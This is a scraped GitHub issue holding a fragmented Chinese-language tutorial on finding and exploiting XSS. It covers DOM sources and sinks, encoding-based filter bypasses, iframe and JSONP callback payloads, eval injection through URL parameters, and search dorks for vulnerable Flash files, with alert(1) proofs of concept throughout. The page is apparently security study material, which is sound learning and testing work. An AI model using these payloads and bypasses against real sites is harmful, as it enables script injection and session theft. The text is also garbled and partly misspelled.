We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
A goal is a dream with a deadline.
反射型XSS
XSS
IE6
IE7
DOM型XSS
DOM-based XSS
Document Object Model
DOM
form、referrer、location
JavaScript
location
location.href
location.search
IE
<>
URL
location.hash
location.pathname
window.name
document.cookie
localStorage
document.title
getAttribute
document.referrer
innerText
.value
.dataset
postMessage
\
innerHTML
location='javascript:alert(~1)'
eval
document.write
appendChild
Function
setTimeout
setInterval
createElement
with(document)body.appendChild(createElement('iframe onload=alert(1)>'),body.innerHTML+="(IE)
<div id="a">xxx</div> <script> document.getElementById("a").innerHTML="yyyy"; </script>
innerHTML="[输出]"
JS
a
[输出]
<img src=1 onerror=alter(1)>
<script>alert(1)</script>
<script defer>alert(1)</script>
<
\u003c、\x3c
>
\u003e、\x3e
\u0020
Payload
\x3cimg\u0020src=1\u0020onerror=alert(1)\x3e
HTML
jQuery
$("#x").html("yyyy")
var x=location.href;
x
function getParam(name){ var x = locaton.search; //或者是 location.hash var v = x.match(new RegExp("[?&#]"+name+"=([^&]*)","")); return v?v[1]:""; }
name
<div id="nick">加载中...</div> <script> var a = getParam("name"); // 获取地址栏里的name参数值 document.getElementById("nick").innerHTML = a; </script>
<img src=1 oneror=alert(1)>
getParam
Fuzz
F12
Chrome
"、>、<
%22、%3c、%3e
显示输出
隐式输出
var getarg = function() { var url = window.location.href; var allargs = url.split("?")[1]; if (allargs!=null && allargs.index0f("=")>0) { var args = allargs.split("&"); for(var i=0; i<args.length; i++) { var arg = args[i].split("="); eval('this.'+arg[0]+'="'+arg[1]+'";'); } } }
arg[0]
arg[1]
eval('this.a="bbb";')
"bbb"
eval('this.a;alert(1);//="bbb";') // 需要加上等号,因为上面的代码逻辑是根据等号来分割,注释掉后面即可 // arg[0] 为 a;alert(1);// // www.xxx.com/1.html?a;alert(1);//=bbb
eval('this.a="bbb";alert(1);//"') // " 是代码后面加上的,所以这里需要自己闭合前面的双引号,后面的双引号可以注释掉 // www.xxx.com/1.html?a=bbb";alert(1);//
iframe
<iframe src="[输出]"></iframe>
src
[路径可控]
onload
<iframe onload="alert(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
vbscript
<iframe src="vbscript:msgbox(1)"></iframe>
data
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> // 转义 <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
srcdoc
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe src="[参数]"></iframe>
function OpenFrame(url) { if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false; document.getElementById("toolframe").src = url; }
http://
https://
javescript:
document.getElementById("toolframe").src = url;
url
'
//
http://www.xxx.com/1.html?url=vbscript:msgbox(1)'&gid=yl
http://www.xxx.com/1.html?url=data:text/html,<script>alert(1)</script>//
路径con
AJAX
json
JSONP
somescript.src="http://otherdomain.com/xx?jsonp=callback"
somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;
JSON
JSON with Padding
XmlHttpRequest
script
Web
script、img、 iframe
callback
script src="[完全可控]"
script src="/path/xxx/[路径可控]/1.js"
script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"
script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]"
< > ,
http://xxx.xxx.com/comm.json?callback=alert(1);
param=xx
param=xx&callback=alert(1);
&
%26
comm_json
var keyword = decodeURIComp($getQuery('keyword')),
decodeURIComp
http://yyy.xxx.com/1.html?keyword=1%26callback=alert(1);&PTAG=2005.13.1
<、>、"、'
Unicode
存储型XSS
POST/GET
FlashXSS
Flash
ActionScript
2.0
3.0
Google
site:xx.com filetype:swf inurl:下面的关键词
swfupload
jwplayer
upload
player
music
video
xml
php
cb
function
getURL
navigateToURL
ExternalInterface.call
The text was updated successfully, but these errors were encountered:
No branches or pull requests
0x01 XSS
反射型XSS
XSS
代码,服务器中没有这样的页面和内容XSS
过滤器(测试一般用IE6
或IE7
,或者更高级的手动关闭XSS
筛选),所以常规的反射型XSS
一般会被过滤,需要绕过XSS
时,通常可以在服务器段对传入的参数进行过滤,来防范这类攻击DOM型XSS
DOM-based XSS
是基于文档对象模型Document Object Model
的一种漏洞DOM
是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问或更新文档内容、结构、样式,处理后的结果能够成为显示页面的一部分DOM
中有很多对象,其中一些是用户可以操纵的,比如form、referrer、location
等JavaScript
)可以通过DOM
动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM
中的数据在本地执行DOM
中的数据没有经过严格确认,就会产生DOM-based XSS
漏洞DOM型XSS
输入点(即可能之后导致发生XSS
的前提)--JavaScript
location
location.href
location.search
IE
没有将<>
进行URL
编码location.hash
location.pathname
window.name
document.cookie
localStorage
document.title
getAttribute
document.referrer
innerText
.value
.dataset
postMessage
\
绕过初始检测innerHTML
DOM型XSS
触发点(即可插入XSS
代码处) --JavaScript
location
location='javascript:alert(~1)'
eval
innerHTML
document.write
appendChild
Function
setTimeout
setInterval
createElement
*
URL
提交后,右键查看源代码可以看到输出的内容innerHTML
innerHTML="[输出]"
,可以通过JS
脚本改变a
的值[输出]
这里只能使用<img src=1 onerror=alter(1)>
这种方式来触发JS
<script>alert(1)</script>
来触发IE
下可以使用<script defer>alert(1)</script>
<
被过滤的话,可以使用\u003c、\x3c
代替>
被过滤的话,可以使用\u003e、\x3e
代替\u0020
代替Payload
可以写成\x3cimg\u0020src=1\u0020onerror=alert(1)\x3e
innerHTML
只要与改变页面HTML
内容相关的操作,都可能导致这种问题JS
,一些使用了第三方库,譬如jQuery
也会:$("#x").html("yyyy")
JavaScript
代码中var x=location.href;
JavaScript
进行了一个隐藏的输出操作,将location.href
的内容输出到了变量x
location.href
URL
中name
参数后的参数值的方法a
改写成<img src=1 oneror=alert(1)>
即可触发XSS
,a
就是从getParam
函数通过name
参数获得的参数值Fuzz
步骤F12
调试工具,搜索输出HTML
代码,进行构造,注意闭合,注意过滤的情况JavaScript
代码,寻找对应的函数,分析函数,是否进行了过滤,编码,解码,如果先编码,后解码,就等同于没有过滤Chrome
浏览器会自动对"、>、<
进行转义成%22、%3c、%3e
,IE
不会eval
显示输出
和隐式输出
最终JavaScript
都会通过document.write
或innerHTML
将内容输出到网页中,所以总是有办法可以查看到输出到哪里,但是如果没有通过它们,而是通过函数,利用eval
来进行输出,就无法通过源代码或者F12
调试工具查找URL
,之后将参数分割,分割后执行eval
arg[0]
或者arg[1]
可控的话,就可以插入XSS
代码,导致漏洞产生eval
应该执行arg[0]
就是a
,arg[1]
就是"bbb"
arg[0]
构造XSS
,即arg[1]
构造XSS
,即arg[1]
这里自己闭合了双引号,在Chrome
中双引号会被主动过滤,所以只有在IE
下才会成功iframe
<iframe src="[输出]"></iframe>
iframe
的src
属性本来应该是一个网站,但是iframe
可以使它同样可以执行JavaScript
,而且可以使用不同的姿势来执行,这一类问题,可以归为[路径可控]
问题onload
执行JS
src
执行JS
IE
下src
执行vbscript
Chrome
下src
执行data
协议Chrome
下srcdoc
执行JS
Fuzz
步骤F12
调试工具,查看有无可见输出<iframe src="[参数]"></iframe>
之中http://
https://
javescript:
document.getElementById("toolframe").src = url;
这里导致了执行XSS
url
参数可控制,过滤不完善,所以IE
下,可以使用vbscript
来执行代码,vbscript
中'
单引号表示注释,类似JS
中的//
Chrome
下,可以使用data
协议来执行JS
路径con
AJAX
动态地加载json
数据,而有时候,数据所在域和当前页面所在域不同,所以需要跨域请求,跨域请求数据中,有一种方法叫做JSONP
XSS
JSON
是一种基于文本的数据交换格式,或者称为数据描述格式JSON
只有两种数据类型描述符,大括号和方括号,其余冒号是映射符,逗号是分隔符,双引号是定义符,对象表示为键值对JSONP
(JSON with Padding
)JSONP
是JSON
的一种使用模式,可以让网页从别的域名获取资料,即跨域读取数据XmlHttpRequest
只允许请求当前源(域名、协议、端口)的资源,为了实现跨域请求,可以通过script
标签实现跨域请求,然后在服务端输出JSON
数据并执行回调函数,从而解决跨域的数据请求Web
页面上调用JS
文件不受是否跨域的影响,不仅如此,凡是拥有src
这个属性的标签都拥有跨域的能力,比如script、img、 iframe
JSONP
协议允许用户传递一个callback
参数给服务端,然后服务端返回数据时会将这个callback
参数作为函数名来包裹住JSON
数据,这样客户端可以随意定制自己的函数来处理返回的数据(动态执行回调函数)src
地址可控可以分为三种script src="[完全可控]"
JS
地址script src="/path/xxx/[路径可控]/1.js"
HTML
文件,需要上传点有过滤缺陷JSON
接口script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"
script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]"
JSON
的参数没有做好过滤,就可以导致XSS
Fuzz
步骤F12
调试工具,刷新查看是否有加载外部JS
文件URL
中参数值,查看是否有参数被传入到外部JS
文件中JS
文件地址,修改地址内参数,查看哪些参数可控< > ,
callback
参数可控,且未被双引号包裹,所以这里可以构造JS
文件即可导致XSS
callback
参数可以从之前探测出的传入到外部JS
文件中的参数一起带入URL
中的参数param=xx
修改为param=xx&callback=alert(1);
覆盖掉外部JS
文件中的callback
&
也可以写成%26
comm_json
接口decodeURIComp
解码,即&
会变成%26
,便不是连接符了%26
即:DOM型XSS
总结<、>、"、'
DOM型XSS
的触发点Unicode
编码替换(此处需要\
未被过滤)Payload
存储型XSS
POST/GET
请求Fuzz
思路存储型XSS
成功HTML
代码,为了在用户体验和安全之间寻找平衡,一般有两种方法HTML
标签HTML
标签、属性列表,通过分析用户提交的HTML
代码,去除其中有害的部分XSS
代码,提交修改后的数据包,查看XSS
代码是否被过滤FlashXSS
Flash
的ActionScript
脚本目前网络上存在两种版本,即2.0
和3.0
Google
搜索site:xx.com filetype:swf inurl:下面的关键词
Flash
文件名或参数名:如swfupload
、jwplayer
等Flash
文件名:如upload
、player
、music
、video
等xml
、php
等callback
、cb
、function
等Flash
缺陷参数Flash
提供相关的函数,可以执行JS
代码getURL
(AS2)navigateToURL
(AS3)ExternalInterface.call
The text was updated successfully, but these errors were encountered: